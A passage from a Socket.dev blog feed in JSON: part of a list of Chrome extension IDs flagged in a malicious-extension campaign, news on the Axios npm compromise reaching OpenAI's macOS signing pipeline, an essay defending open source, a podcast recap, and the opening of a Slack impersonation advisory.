target=\"_blank\"><code>bnchgibgpgmlickioneccggfobljmhjc</code></a> - Galactica Delux - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/bpljfbcejldmgeoodnogeefaihjdgbam/overview\"  target=\"_blank\"><code>bpljfbcejldmgeoodnogeefaihjdgbam</code></a> - Speed Test for Chrome - WiFi SpeedTest</li><li><a href=\"https://socket.dev/chrome/package/cbnekafldflkmngbgmbnfmchjaelnhem/overview\"  target=\"_blank\"><code>cbnekafldflkmngbgmbnfmchjaelnhem</code></a> - Game SkySpeedster</li><li><a href=\"https://socket.dev/chrome/package/cdpiopekjeonfjeocbfebemgocjciepp/overview\"  target=\"_blank\"><code>cdpiopekjeonfjeocbfebemgocjciepp</code></a> - Master Chess</li><li><a href=\"https://socket.dev/chrome/package/cehdkmmfadpplgchnbjgdngdcjmhlfcc/overview\"  target=\"_blank\"><code>cehdkmmfadpplgchnbjgdngdcjmhlfcc</code></a> - Hockey Shootout</li><li><a href=\"https://socket.dev/chrome/package/cljengcehefhflhoahaambmkknjekjib/overview\"  target=\"_blank\"><code>cljengcehefhflhoahaambmkknjekjib</code></a> - Odds Of The Gods - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/clpgopiimdjcilllcjncdkoeikkkcfbi/overview\"  target=\"_blank\"><code>clpgopiimdjcilllcjncdkoeikkkcfbi</code></a> - Billiards Pro</li><li><a href=\"https://socket.dev/chrome/package/cmeoegkmpbpcoabhlklbamfeidebgmdf/overview\"  target=\"_blank\"><code>cmeoegkmpbpcoabhlklbamfeidebgmdf</code></a> - Three Card Poker</li><li><a href=\"https://socket.dev/chrome/package/cmlbghnlnbjkdgfjlegkbjmadpbmlgjb/overview\"  target=\"_blank\"><code>cmlbghnlnbjkdgfjlegkbjmadpbmlgjb</code></a> - Donuts - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/cnibdhllkgidlgmaoanhkemjeklneolk/overview\"  target=\"_blank\"><code>cnibdhllkgidlgmaoanhkemjeklneolk</code></a> - Archer - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/cpnfioldnmhaihohppoaebillnambcgn/overview\"  target=\"_blank\"><code>cpnfioldnmhaihohppoaebillnambcgn</code></a> - Rugby Rush</li><li><a href=\"https://socket.dev/chrome/package/dbohcpohlgnhgjmfkakoniiplglpfhcb/overview\"  target=\"_blank\"><code>dbohcpohlgnhgjmfkakoniiplglpfhcb</code></a> - Bingo</li><li><a href=\"https://socket.dev/chrome/package/dcamdpfclondppklabgkfaofjccpioil/overview\"  target=\"_blank\"><code>dcamdpfclondppklabgkfaofjccpioil</code></a> - Web Client for game Cricket Batter Challenge</li><li><a href=\"https://socket.dev/chrome/package/dljlpildgknddpnahppkihgodokfjbnd/overview\"  target=\"_blank\"><code>dljlpildgknddpnahppkihgodokfjbnd</code></a> - Slot Machine Zeus Treasures</li><li><a href=\"https://socket.dev/chrome/package/dlpiookhionidajbiopmaajeckifeehn/overview\"  target=\"_blank\"><code>dlpiookhionidajbiopmaajeckifeehn</code></a> - Horse Racing</li><li><a href=\"https://socket.dev/chrome/package/dmaibhbbpmdihedidicfeigilkbobcog/overview\"  target=\"_blank\"><code>dmaibhbbpmdihedidicfeigilkbobcog</code></a> - Aztec - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/dohenclhhdfljpjlnpjnephpccbdgmmb/overview\"  target=\"_blank\"><code>dohenclhhdfljpjlnpjnephpccbdgmmb</code></a> - Straight 4</li><li><a href=\"https://socket.dev/chrome/package/dpdemambcedffmnkfmkephnhhnclmcio/overview\"  target=\"_blank\"><code>dpdemambcedffmnkfmkephnhhnclmcio</code></a> - Slot The Gold Pot</li><li><a href=\"https://socket.dev/chrome/package/ejlcbfmhjbkgohopdkijfgggbikgbacb/overview\"  target=\"_blank\"><code>ejlcbfmhjbkgohopdkijfgggbikgbacb</code></a> - American Roulette Royale</li><li><a href=\"https://socket.dev/chrome/package/eljfpgehlncincemdmmnebmnlcmfamhm/overview\"  target=\"_blank\"><code>eljfpgehlncincemdmmnebmnlcmfamhm</code></a> - Asia Slot</li><li><a href=\"https://socket.dev/chrome/package/enmmilgindjmffoljaojkcgloakmloen/overview\"  target=\"_blank\"><code>enmmilgindjmffoljaojkcgloakmloen</code></a> - Web Client for game Drive Your Car</li><li><a href=\"https://socket.dev/chrome/package/eoklnfefipnjfeknpmigmogeeepddcch/overview\"  target=\"_blank\"><code>eoklnfefipnjfeknpmigmogeeepddcch</code></a> - Jurassic Giants - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/fddajeklkkggbnppabbhkdmnkdjindlo/overview\"  target=\"_blank\"><code>fddajeklkkggbnppabbhkdmnkdjindlo</code></a> - Street Basketball</li><li><a href=\"https://socket.dev/chrome/package/fibgndhgobbaaekmnneapojgkcehaeac/overview\"  target=\"_blank\"><code>fibgndhgobbaaekmnneapojgkcehaeac</code></a> - Tarot Side Panel</li><li><a href=\"https://socket.dev/chrome/package/fjfhejmbhpabkacpoddjbcfandjoacmb/overview\"  target=\"_blank\"><code>fjfhejmbhpabkacpoddjbcfandjoacmb</code></a> - Dragon Slayer - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/flkdjodmoefccepdihipjdlianmkmhgc/overview\"  target=\"_blank\"><code>flkdjodmoefccepdihipjdlianmkmhgc</code></a> - Best Blackjack</li><li><a href=\"https://socket.dev/chrome/package/fmajpchoiahphjiligpmghnhmabolhoh/overview\"  target=\"_blank\"><code>fmajpchoiahphjiligpmghnhmabolhoh</code></a> - Book Of Magic - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/gaafhblhbnkekenogcjniofhbicchlke/overview\"  target=\"_blank\"><code>gaafhblhbnkekenogcjniofhbicchlke</code></a> - Snake - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/gbaoddbbpompjhmilbgiaapkkakldlpc/overview\"  target=\"_blank\"><code>gbaoddbbpompjhmilbgiaapkkakldlpc</code></a> - Dice King - Classic Craps And Roll Game</li><li><a href=\"https://socket.dev/chrome/package/gbhhgipmedccnankkjchgcidiigmioio/overview\"  target=\"_blank\"><code>gbhhgipmedccnankkjchgcidiigmioio</code></a> - Slot Ramses</li><li><a href=\"https://socket.dev/chrome/package/gfhcdakcnpahfdealajmhcapnhhablbp/overview\"  target=\"_blank\"><code>gfhcdakcnpahfdealajmhcapnhhablbp</code></a> - Battleship War</li><li><a href=\"https://socket.dev/chrome/package/gipmochingljoikdjakkdolfcbphmlom/overview\"  target=\"_blank\"><code>gipmochingljoikdjakkdolfcbphmlom</code></a> - Gold Miner 2</li><li><a href=\"https://socket.dev/chrome/package/glofhphmolanicdaddgkmhfmjidjkaem/overview\"  target=\"_blank\"><code>glofhphmolanicdaddgkmhfmjidjkaem</code></a> - Greyhound Racing - Dog Race Simulator</li><li><a href=\"https://socket.dev/chrome/package/haochenfmhglpholokliifmlpafilfdc/overview\"  target=\"_blank\"><code>haochenfmhglpholokliifmlpafilfdc</code></a> - Hercules: Sports Legend</li><li><a href=\"https://socket.dev/chrome/package/hbobdcfpgonejphpemijgjddanoipbkj/overview\"  target=\"_blank\"><code>hbobdcfpgonejphpemijgjddanoipbkj</code></a> - Flicking Soccer</li><li><a href=\"https://socket.dev/chrome/package/hdmppejcahhppjhkncagagopecddokpi/overview\"  target=\"_blank\"><code>hdmppejcahhppjhkncagagopecddokpi</code></a> - Voodoo Magic - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/heljkmdknlfhiecpknceodpbokeipigo/overview\"  target=\"_blank\"><code>heljkmdknlfhiecpknceodpbokeipigo</code></a> - Web Client for Hockey Shootout - SideGame</li><li><a href=\"https://socket.dev/chrome/package/hiofkndodabpioiheinoiojjobadpgmj/overview\"  target=\"_blank\"><code>hiofkndodabpioiheinoiojjobadpgmj</code></a> - MASTER CHECKERS</li><li><a href=\"https://socket.dev/chrome/package/hkbihmjhjmehlocilifheeaeiljabenb/overview\"  target=\"_blank\"><code>hkbihmjhjmehlocilifheeaeiljabenb</code></a> - Watercraft Rush</li><li><a href=\"https://socket.dev/chrome/package/hlmdnedepbbihmbddepemmbkenbnoegd/overview\"  target=\"_blank\"><code>hlmdnedepbbihmbddepemmbkenbnoegd</code></a> - Car Rush</li><li><a href=\"https://socket.dev/chrome/package/hmlnefhgicedcmebmkjdcogieefbaagl/overview\"  target=\"_blank\"><code>hmlnefhgicedcmebmkjdcogieefbaagl</code></a> - Video Poker Deuces Wild</li><li><a href=\"https://socket.dev/chrome/package/hnpbijogiiaegambgpaenjbcbgaeimlf/overview\"  target=\"_blank\"><code>hnpbijogiiaegambgpaenjbcbgaeimlf</code></a> - Slot Machine Ultimate Soccer</li><li><a href=\"https://socket.dev/chrome/package/ibelidmkbnjmmpjgfibbdbkamgcbnjdm/overview\"  target=\"_blank\"><code>ibelidmkbnjmmpjgfibbdbkamgcbnjdm</code></a> - Christmas Eve - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/ihbkmfoadnfjgkpdmgcboiehapkiflme/overview\"  target=\"_blank\"><code>ihbkmfoadnfjgkpdmgcboiehapkiflme</code></a> - Columbus Voyage - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/ijccacgjefefdpglhclnbpfjlcbagafm/overview\"  target=\"_blank\"><code>ijccacgjefefdpglhclnbpfjlcbagafm</code></a> - High or Low Casino Game</li><li><a href=\"https://socket.dev/chrome/package/ijfmkphjcogaealhjgijjfjlkpdhhojk/overview\"  target=\"_blank\"><code>ijfmkphjcogaealhjgijjfjlkpdhhojk</code></a> - Goalkeeper Challenge</li><li><a href=\"https://socket.dev/chrome/package/ijpgccpmogehkjhdmomckpkfcpbjlmnj/overview\"  target=\"_blank\"><code>ijpgccpmogehkjhdmomckpkfcpbjlmnj</code></a> - Tropical Beach - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/imjmnghlhiimodfkdkgnfplhlobehnpm/overview\"  target=\"_blank\"><code>imjmnghlhiimodfkdkgnfplhlobehnpm</code></a> - BlackJack 3D</li><li><a href=\"https://socket.dev/chrome/package/jddinhnhplibccfmniaakhffpjpnaglp/overview\"  target=\"_blank\"><code>jddinhnhplibccfmniaakhffpjpnaglp</code></a> - Web Client for game Classic Bowling</li><li><a href=\"https://socket.dev/chrome/package/jmopjanoebpdbopigcbpjhiigmjolikk/overview\"  target=\"_blank\"><code>jmopjanoebpdbopigcbpjhiigmjolikk</code></a> - Raging Zeus Mines</li><li><a href=\"https://socket.dev/chrome/package/jnmmbmkmbkcccpihjgnhjmhhkokfdnfe/overview\"  target=\"_blank\"><code>jnmmbmkmbkcccpihjgnhjmhhkokfdnfe</code></a> - Classic Backgammon</li><li><a href=\"https://socket.dev/chrome/package/jodocbbdcdclkhjkibnlfhbmllcpfkfo/overview\"  target=\"_blank\"><code>jodocbbdcdclkhjkibnlfhbmllcpfkfo</code></a> - Slot Machine The Fruits</li><li><a href=\"https://socket.dev/chrome/package/kahcolfecjbejjjadhjafmihdnifonjf/overview\"  target=\"_blank\"><code>kahcolfecjbejjjadhjafmihdnifonjf</code></a> - Baccarat</li><li><a href=\"https://socket.dev/chrome/package/kblomapfkjidbbbdllmofkcakcenkmec/overview\"  target=\"_blank\"><code>kblomapfkjidbbbdllmofkcakcenkmec</code></a> - Mini Golf World</li><li><a href=\"https://socket.dev/chrome/package/kbmindomjiejdikjaagfdbdfpnlanobi/overview\"  target=\"_blank\"><code>kbmindomjiejdikjaagfdbdfpnlanobi</code></a> - Gold Rush - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/kbnkkecifeppobnemkielnpagifkobki/overview\"  target=\"_blank\"><code>kbnkkecifeppobnemkielnpagifkobki</code></a> - Pirat Slot</li><li><a href=\"https://socket.dev/chrome/package/kjnakdbpijigdbfepipnbafnhbcfdkga/overview\"  target=\"_blank\"><code>kjnakdbpijigdbfepipnbafnhbcfdkga</code></a> - 40 Imperial Crown - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/kknakidneabpfgepadgpkibalcnabnnh/overview\"  target=\"_blank\"><code>kknakidneabpfgepadgpkibalcnabnnh</code></a> - 3D Soccer Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/klglejfbdeipgklgaepnodpjcnhaihkd/overview\"  target=\"_blank\"><code>klglejfbdeipgklgaepnodpjcnhaihkd</code></a> - Premium Horse Racing</li><li><a href=\"https://socket.dev/chrome/package/kmiidcaojgeepjlccoalkdimgpfnbagj/overview\"  target=\"_blank\"><code>kmiidcaojgeepjlccoalkdimgpfnbagj</code></a> - Tanks Game</li><li><a href=\"https://socket.dev/chrome/package/lcijkepobdokkgmefebkiejhealgblle/overview\"  target=\"_blank\"><code>lcijkepobdokkgmefebkiejhealgblle</code></a> - Caribbean Stud Poker</li><li><a href=\"https://socket.dev/chrome/package/lefndgfmmbdklidbkeifpgclmpnhcilg/overview\"  target=\"_blank\"><code>lefndgfmmbdklidbkeifpgclmpnhcilg</code></a> - Wild Buffalo - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/lfkknbmaifjomagejflmjklcmpadmmdg/overview\"  target=\"_blank\"><code>lfkknbmaifjomagejflmjklcmpadmmdg</code></a> - Aqua - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/ljbgkfbiifhpgpipepnfefijldolkhlm/overview\"  target=\"_blank\"><code>ljbgkfbiifhpgpipepnfefijldolkhlm</code></a> - Game Crypto Merge</li><li><a href=\"https://socket.dev/chrome/package/lmcpbhamfpbonaenickjclacodolkbdl/overview\"  target=\"_blank\"><code>lmcpbhamfpbonaenickjclacodolkbdl</code></a> - Sherwood Forest - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/lmgenhmehbcolpikplhkoelmagdhoojn/overview\"  target=\"_blank\"><code>lmgenhmehbcolpikplhkoelmagdhoojn</code></a> - Web Client for game Fatboy Dream</li><li><a href=\"https://socket.dev/chrome/package/maeccdadgnadblfddcmanhpofobhgfme/overview\"  target=\"_blank\"><code>maeccdadgnadblfddcmanhpofobhgfme</code></a> - Lone Star Jackpots - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/medkneifmjcpgmmibfppjpfjbkgbgebl/overview\"  target=\"_blank\"><code>medkneifmjcpgmmibfppjpfjbkgbgebl</code></a> - Hidden Kitty Game</li><li><a href=\"https://socket.dev/chrome/package/mheomooihiffmcgldolenemmplpgoahn/overview\"  target=\"_blank\"><code>mheomooihiffmcgldolenemmplpgoahn</code></a> - Keno</li><li><a href=\"https://socket.dev/chrome/package/mmbbjakjlpmndjlbhihlddgcdppblpka/overview\"  target=\"_blank\"><code>mmbbjakjlpmndjlbhihlddgcdppblpka</code></a> - Jokers Bonanza - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/mmbkmjmlnhocfcnjmbchmflamalekbnb/overview\"  target=\"_blank\"><code>mmbkmjmlnhocfcnjmbchmflamalekbnb</code></a> - Penalty Kicks</li><li><a href=\"https://socket.dev/chrome/package/nbgligggjfgkpphhghhjdoiefbimgooc/overview\"  target=\"_blank\"><code>nbgligggjfgkpphhghhjdoiefbimgooc</code></a> - Pai Gow Poker</li><li><a href=\"https://socket.dev/chrome/package/ncpdkpcgmdhhnmcjgiiifdhefmekdcnf/overview\"  target=\"_blank\"><code>ncpdkpcgmdhhnmcjgiiifdhefmekdcnf</code></a> - Metal Calculator</li><li><a href=\"https://socket.dev/chrome/package/ndajcmifndknmkckdcdefkpgcodciggk/overview\"  target=\"_blank\"><code>ndajcmifndknmkckdcdefkpgcodciggk</code></a> - Farm - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/nelbpdjegmhhgpfcjclhdmkcglimkjpp/overview\"  target=\"_blank\"><code>nelbpdjegmhhgpfcjclhdmkcglimkjpp</code></a> - Rail Maze Puzzle</li><li><a href=\"https://socket.dev/chrome/package/nkacmelgoeejhjgmmgflbcdhonpaplcg/overview\"  target=\"_blank\"><code>nkacmelgoeejhjgmmgflbcdhonpaplcg</code></a> - RED DOG CARD GAME</li><li><a href=\"https://socket.dev/chrome/package/nmegibgeklckejdlfhoadhhbgcdjnojb/overview\"  target=\"_blank\"><code>nmegibgeklckejdlfhoadhhbgcdjnojb</code></a> - Coin Miner 2</li><li><a href=\"https://socket.dev/chrome/package/nodobilhjanebkafmpihkpoabiggnnfl/overview\"  target=\"_blank\"><code>nodobilhjanebkafmpihkpoabiggnnfl</code></a> - Black Ninja - Slot Machine</li><li><a href=\"https://socket.dev/chrome/package/oanpifaoclmgmflmddlgkikfaggejobn/overview\"  target=\"_blank\"><code>oanpifaoclmgmflmddlgkikfaggejobn</code></a> - Pyramid Solitaire</li><li><a href=\"https://socket.dev/chrome/package/ocflhkadmmnlbieoiiekfcdcmjcfeahe/overview\"  target=\"_blank\"><code>ocflhkadmmnlbieoiiekfcdcmjcfeahe</code></a> - Chrome Client for Downhill Ski - SideGame</li><li><a href=\"https://socket.dev/chrome/package/odeccdcabdffpebnfancpkepjeecempn/overview\"  target=\"_blank\"><code>odeccdcabdffpebnfancpkepjeecempn</code></a> - Slot Machine Mr Chicken</li><li><a href=\"https://socket.dev/chrome/package/oejhnncfanbaogjlbknmlgjpleachclf/overview\"  target=\"_blank\"><code>oejhnncfanbaogjlbknmlgjpleachclf</code></a> - Web Client for French Roulette - SideGame</li><li><a href=\"https://socket.dev/chrome/package/ogbaedmbbmmipljceodeimlckohbnfan/overview\"  target=\"_blank\"><code>ogbaedmbbmmipljceodeimlckohbnfan</code></a> - 3D Roulette Casino Game</li><li><a href=\"https://socket.dev/chrome/package/ojkbafekojdcedacileemekjdfdpkbkf/overview\"  target=\"_blank\"><code>ojkbafekojdcedacileemekjdfdpkbkf</code></a> - Slot Machine Space Adventure</li><li><a href=\"https://socket.dev/chrome/package/pdgaknahllnfldmclpcllpieafkaibmf/overview\"  target=\"_blank\"><code>pdgaknahllnfldmclpcllpieafkaibmf</code></a> - Whack &#x27;em All</li><li><a href=\"https://socket.dev/chrome/package/peflgkmfmoijonfgcjdlpnnfdegnlaji/overview\"  target=\"_blank\"><code>peflgkmfmoijonfgcjdlpnnfdegnlaji</code></a> - Video Poker Jacks or Better</li><li><a href=\"https://socket.dev/chrome/package/phfkdailnomcbcknpdmokejhellbecjb/overview\"  target=\"_blank\"><code>phfkdailnomcbcknpdmokejhellbecjb</code></a> - Swimming Pro</li><li><a href=\"https://socket.dev/chrome/package/pkghgkfjhjghinikeanecbgjehojfhdg/overview\"  target=\"_blank\"><code>pkghgkfjhjghinikeanecbgjehojfhdg</code></a> - InterAlt</li><li><a href=\"https://socket.dev/chrome/package/pllkanemicadpcmkfodglahcocfdgkhj/overview\"  target=\"_blank\"><code>pllkanemicadpcmkfodglahcocfdgkhj</code></a> - Gold of Egypt - Slot Machine</li></ol>","summary":"Campaign of 108 extensions harvests identities, steals sessions, and adds backdoors to browsers, all tied to the same C2 infrastructure.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/9e7bc7ad0ee4be02e766a13c02cb5ae8e2c494da-1024x1024.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/9e7bc7ad0ee4be02e766a13c02cb5ae8e2c494da-1024x1024.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-13T18:46:27.466Z","author":{"name":"Kush Pandya"},"tags":["Research","Security News"]},{"id":"https://socket.dev/blog/axios-supply-chain-attack-reaches-openai-macos-signing-pipeline-forces-certificate-rotation","url":"https://socket.dev/blog/axios-supply-chain-attack-reaches-openai-macos-signing-pipeline-forces-certificate-rotation?utm_medium=feed","title":"Axios Supply Chain Attack Reaches OpenAI macOS Signing Pipeline, Forces Certificate Rotation","content_html":"<p>The recent <a href=\"https://socket.dev/blog/axios-npm-package-compromised\"  target=\"_blank\">compromise of the widely used Axios library</a> has now been linked to downstream impact on software distribution pipelines, after OpenAI <a href=\"https://openai.com/index/axios-developer-tool-compromise/\"  target=\"_blank\">disclosed</a> that a malicious version of the package was executed inside its macOS app signing workflow.</p><p>The incident adds a new dimension to the ongoing supply chain campaign that has already <a href=\"https://socket.dev/blog/attackers-hunting-high-impact-nodejs-maintainers\"  target=\"_blank\">targeted high-impact Node.js maintainers through a social engineering campaign</a> attributed to North Korean actors.</p><h2 id=\"Malicious-Axios-Version-Executed-in-CI\">\n  Malicious Axios Version Executed in CI\n  <a href=\"#Malicious-Axios-Version-Executed-in-CI\" class=\"anchor\">#</a>\n</h2><p>According to OpenAI, the issue originated on March 31, 2026, when a GitHub Actions workflow used in its macOS app-signing process downloaded and executed a compromised version of Axios (1.14.1).</p><p>The workflow had access to sensitive signing materials, including certificates used to notarize macOS applications such as ChatGPT Desktop, Codex, and Atlas. These certificates are critical to establishing trust, allowing macOS to verify that software originates from a legitimate developer.</p><p>OpenAI stated that multiple mitigating factors likely prevented successful exfiltration of the signing certificate, but still treated the material as potentially compromised.</p><h3>Certificate Rotation and Forced Updates</h3><p>In response, the company revoked and rotated its macOS code signing certificate and rebuilt affected applications with new credentials. OpenAI is requiring macOS users to update to the latest versions of its desktop apps as part of the certificate rotation. Older versions will stop receiving updates and may stop functioning after May 8, 2026</p><p>The company also confirmed it is working with Apple to block further notarization attempts using the previous certificate, reducing the risk of malicious software being distributed under its identity.</p><p>Despite the exposure, OpenAI reported no evidence that user data, internal systems, or production software were compromised.</p><h3>Misconfigured CI Pipeline Enabled the Exposure</h3><p>OpenAI identified CI pipeline misconfiguration as the source of the exposure:</p><blockquote>The root cause of this incident was a misconfiguration in the GitHub Actions workflow, which we have addressed. Specifically, the action in question used a floating tag, as opposed to a specific commit hash, and did not have a configured minimumReleaseAge for new packages.</blockquote><p>This combination allowed the compromised Axios version to be pulled into the build process at runtime.</p><p>While the Axios compromise was already notable for its reach across the JavaScript ecosystem, this disclosure shows how attacks on widely adopted dependencies can propagate into the build and release workflows of large-scale production systems.</p><p>Compromising CI pipelines or signing workflows introduces the potential for attackers to distribute trusted, signed software, one of the most damaging outcomes in a supply chain attack.</p><p>This is one example of how close supply chain attacks can come to the nightmare scenario, where automated workflows routinely pull and execute third-party dependencies with access to sensitive credentials. Even organizations with mature security practices can unintentionally introduce exposure when build systems automatically pull the latest version of a dependency.</p><p>CI/CD pipelines are getting hammered as a preferred entry point for attackers in the latest supply chain attacks, and the consequences are starting to surface across the ecosystem. In this case, OpenAI reports that the attack did not result in downstream compromise. </p><p>The disclosure, published late on a Friday, drew immediate reactions from developers and users on social media.</p><blockquote class=\"twitter-tweet\">\n  <a href=\"https://x.com/user/status/2042780052669239782\"></a>\n</blockquote>\n<script\n  async\n  src=\"https://platform.x.com/widgets.js\"\n  charset=\"utf-8\"\n></script><p>Some users appeared to be learning about the Axios compromise for the first time, asking whether their systems were affected or seeking clarification on the impact. Others questioned the timing or expressed skepticism about the scope of the incident, while some praised the transparency of the disclosure and the response.</p><p>The range of reactions shows that these attacks are still largely tracked by security teams and maintainers, while many downstream users are only likely to learn about them once they surface through major vendor disclosures.</p>","summary":"OpenAI rotated macOS signing certificates after a malicious Axios package reached its CI pipeline in a broader software supply chain attack.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/e63284e36b421984c4ee5872b0620a692924dfca-1024x1024.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/e63284e36b421984c4ee5872b0620a692924dfca-1024x1024.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-11T03:14:22.225Z","author":{"name":"Sarah Gooding"},"tags":["Security News"]},{"id":"https://socket.dev/blog/dont-kill-the-goose-that-lays-the-golden-eggs","url":"https://socket.dev/blog/dont-kill-the-goose-that-lays-the-golden-eggs?utm_medium=feed","title":"Don't Kill the Goose That Lays the Golden Eggs","content_html":"<p>March 2026 was a bad month. Back-to-back supply chain attacks with incident response teams running nonstop, real damage across ecosystems that millions of developers depend on, and legitimate questions about how we secure critical infrastructure. What it didn&#x27;t have was an excuse to write an obituary for open source.</p><p>In the wake of the attacks, familiar criticism has been making the rounds. It&#x27;s a hot take dressed up as a reckoning. The argument goes something like this: open source is fundamentally broken, the trust model is collapsing, and the only real solution is to stop relying on software you don&#x27;t control. It&#x27;s one thing when randos hail &quot;the death of open source&quot; on Reddit. It&#x27;s another thing entirely when it comes from companies that have spent years cashing in on that unpaid labor.</p><p>We’ve seen this before: a handful of companies that benefit enormously from open source declare it broken or &quot;dead&quot; under pressure, even as they push to extract more from the very community they depend on.</p><p>A <a href=\"https://www.hbs.edu/ris/Publication%20Files/24-038_51f8444f-502c-4139-8bf2-56eb4b65c58a.pdf\"  target=\"_blank\">2024 Harvard study</a> estimated the demand-side value of widely used open source at $8.8 trillion, what it would cost firms to recreate the software they use for free. Every CISO with a budget to spend on supply chain security tools has that budget because open source made it cheap enough to build the software those tools protect.</p><p>This was a deliberate bet on openness, and it paid off. Everyone has been collecting on that bet for decades and is now surprised that it’s a target.</p><p>Open source is not dying. It has become so ubiquitous that attackers have learned compromising one upstream package is more efficient than targeting individual organizations. That is a statement about attacker economics, not about open source architecture. Closed-source supply chains have exactly the same exposure to this strategy, just with less transparency. Attackers go where the value is.</p><p>These were not typical opportunistic attacks. <a href=\"https://socket.dev/blog/teampcp-targeting-security-tools-across-oss-ecosystem\"  target=\"_blank\">TeamPCP is targeting OSS security tools and CI/CD pipelines</a> because that gives them a goldmine of credentials to exploit. The Axios compromise, which delivered write access to npm for a package downloaded 100M times per week, was a weeks-long social engineering campaign <a href=\"https://socket.dev/blog/attackers-hunting-high-impact-nodejs-maintainers\"  target=\"_blank\">targeting the highest-trust maintainers in the Node.js ecosystem</a>. Multiple Socket engineers, including our CEO, were among those targeted by this same North Korean campaign. The ecosystem is under attack because of how much value it creates. That is an argument for supporting it, not declaring it dead.</p><p>The people building this infrastructure are mostly <a href=\"https://socket.dev/blog/the-unpaid-backbone-of-open-source\"  target=\"_blank\">unpaid solo maintainers</a> carrying an increasingly heavy security burden. When they burn out or make a mistake, the whole ecosystem is vulnerable. The appropriate response to their work being targeted by nation-state actors should not be to warn enterprises away from their packages. It should be to fund, support, and protect them.</p><p>Socket was founded by open source maintainers. Our team maintains software downloaded billions of times a week. We are not observing this ecosystem from a safe distance. We are in it with you, and have been for most of our careers. We&#x27;re betting on the future of open source, and we intend to keep making it safer for everyone to use.</p>","summary":"Open source is under attack because of how much value it creates. It has been the foundation of every major software innovation for the last three decades. This is not the time to walk away from it.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/8aaae4fa4ef594bdc28d44462a41495700b70f9e-1024x1024.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/8aaae4fa4ef594bdc28d44462a41495700b70f9e-1024x1024.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-10T01:27:33.672Z","author":{"name":"Sarah Gooding"},"tags":["Security News"]},{"id":"https://socket.dev/blog/feross-on-tbpn-how-north-korea-hijacked-axios","url":"https://socket.dev/blog/feross-on-tbpn-how-north-korea-hijacked-axios?utm_medium=feed","title":"Feross on TBPN: How North Korea Hijacked Axios","content_html":"<p>Socket CEO Feross Aboukhadijeh joined the TBPN podcast today to break down the <a href=\"https://socket.dev/blog/axios-npm-package-compromised\"  target=\"_blank\">Axios npm supply chain attack</a>, one of the most significant open source compromises in recent months. <a href=\"https://www.tbpn.com/\"  target=\"_blank\">TBPN</a>, recently acquired by OpenAI, is a live daily tech show hosted by John Coogan and Jordi Hays.</p><p>Feross walked through how North Korean state actors <a href=\"https://socket.dev/blog/attackers-hunting-high-impact-nodejs-maintainers\"  target=\"_blank\">socially engineered the lead Axios maintainer</a> over weeks, building a fake company, a fake Slack workspace, and a staged Microsoft Teams call before delivering malware disguised as a software update in order to own his machine. That gave them publish access to npm. </p><p>On why these attacks keep working: &quot;The whole software supply chain is built on blind trust. You&#x27;re downloading code from random people on the internet that you&#x27;ve never met and you&#x27;re like, let&#x27;s just run it.&quot; He also points to a fundamental asymmetry: &quot;Defenders have a much harder job than attackers because they have to guard against all the ways that you can possibly get attacked. The attacker has to just find one way in.&quot;</p><p>Feross addressed what&#x27;s on every security team&#x27;s mind right now: is AI making this worse, who has the advantage, and is there actually a path out of this. Despite the current wave of attacks, he sees AI shifting the balance: &quot;For the first time, defenders now have an infinitely scalable army of AI agents doing their bidding and doing continuous security analysis, and that&#x27;s all work that would&#x27;ve been way too expensive or impractical for humans to do before.&quot;</p><div style=\"position: relative; width: 100%; height: 0; padding-bottom: 56.25%; overflow: hidden; max-width: 100%;\">\n  <iframe\n    style=\"position: absolute; top: 0; left: 0; width: 100%; height: 100%;\"\n    src=\"https://www.youtube.com/embed/EeJgSO_gkp8\"\n    frameborder=\"0\"\n    allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\"\n    allowfullscreen\n  ></iframe>\n</div>","summary":"Socket CEO Feross Aboukhadijeh breaks down how North Korea hijacked Axios and what it means for the future of software supply chain security.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/5907239b5b859b9c0bb41332afee33df7db6482f-1201x675.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/5907239b5b859b9c0bb41332afee33df7db6482f-1201x675.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-08T21:27:04.927Z","author":{"name":"Sarah Gooding"},"tags":["Security News"]},{"id":"https://socket.dev/blog/attackers-impersonating-linux-foundation-leaders-in-slack-targeting-oss-developers","url":"https://socket.dev/blog/attackers-impersonating-linux-foundation-leaders-in-slack-targeting-oss-developers?utm_medium=feed","title":"Attackers Are Impersonating a Linux Foundation Leader in Slack to Target Open Source Developers","content_html":"<p>A social engineering campaign is actively targeting open source developers through Slack, according to a high-severity <a href=\"https://lists.openssf-vuln.org/g/siren/message/7\"  target=\"_blank\">advisory</a> posted April 7 to the 